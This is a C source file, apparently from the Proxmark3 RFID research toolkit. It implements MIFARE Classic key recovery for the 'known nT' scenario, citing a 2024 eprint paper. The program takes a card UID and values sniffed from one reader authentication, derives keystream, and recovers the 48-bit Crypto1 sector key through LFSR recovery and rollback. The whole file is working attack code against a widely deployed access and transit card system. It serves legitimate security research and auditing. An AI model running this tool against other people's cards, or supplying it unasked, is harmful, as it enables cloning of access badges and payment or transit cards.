trying to fix Proxspace compilation, might need some more trials...
[RRG-proxmark3.git] / tools / mfc / card_reader / mfkey32nested.c
blobdfc197d06b6629409d9b28a3599c8164ad2852b1
1 // Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
3 #include <inttypes.h>
4 #include <stdbool.h>
5 #include <stdio.h>
6 #include <stdlib.h>
7 #include "crapto1/crapto1.h"
8 #include "util_posix.h"
10 int main(int argc, char *argv[]) {
11 struct Crypto1State *s, *t;
12 uint64_t key; // recovered key
13 uint32_t uid; // serial number
14 uint32_t nt; // tag nonce
15 uint32_t nt_enc; // encrypted tag nonce
16 uint32_t nr_enc; // encrypted reader nonce
17 uint32_t ar; // reader response
18 uint32_t ar_enc; // encrypted reader response
19 uint32_t ks0; // keystream used to encrypt tag nonce
20 uint32_t ks2; // keystream used to encrypt reader response
22 printf("MIFARE Classic key recovery - known nT scenario\n");
23 printf("Recover key from one reader authentication answer only\n");
25 if (argc != 6) {
26 printf("syntax: %s <uid> <nt> <{nt}> <{nr}> <{ar}>\n\n", argv[0]);
27 return 1;
30 sscanf(argv[1], "%x", &uid);
31 sscanf(argv[2], "%x", &nt);
32 sscanf(argv[3], "%x", &nt_enc);
33 sscanf(argv[4], "%x", &nr_enc);
34 sscanf(argv[5], "%x", &ar_enc);
36 printf("Recovering key for:\n");
37 printf(" uid: %08x\n", uid);
38 printf(" nt: %08x\n", nt);
39 printf(" {nt}: %08x\n", nt_enc);
40 printf(" {nr}: %08x\n", nr_enc);
41 printf(" {ar}: %08x\n", ar_enc);
43 printf("\nLFSR successor of the tag challenge:\n");
44 ar = prng_successor(nt, 64);
45 printf(" ar: %08x\n", ar);
47 printf("\nKeystream used to generate {nt}:\n");
48 ks0 = nt_enc ^ nt;
49 printf(" ks0: %08x\n", ks0);
50 printf("\nKeystream used to generate {ar}:\n");
51 ks2 = ar_enc ^ ar;
52 printf(" ks2: %08x\n", ks2);
54 s = lfsr_recovery32(ks0, uid ^ nt);
56 for (t = s; t->odd | t->even; ++t) {
57 crypto1_word(t, nr_enc, 1);
58 if (ks2 == crypto1_word(t, 0, 0)) {
59 lfsr_rollback_word(t, 0, 0);
60 lfsr_rollback_word(t, nr_enc, 1);
61 lfsr_rollback_word(t, uid ^ nt, 0);
62 crypto1_get_lfsr(t, &key);
63 printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
64 break;
67 free(s);
68 return 0;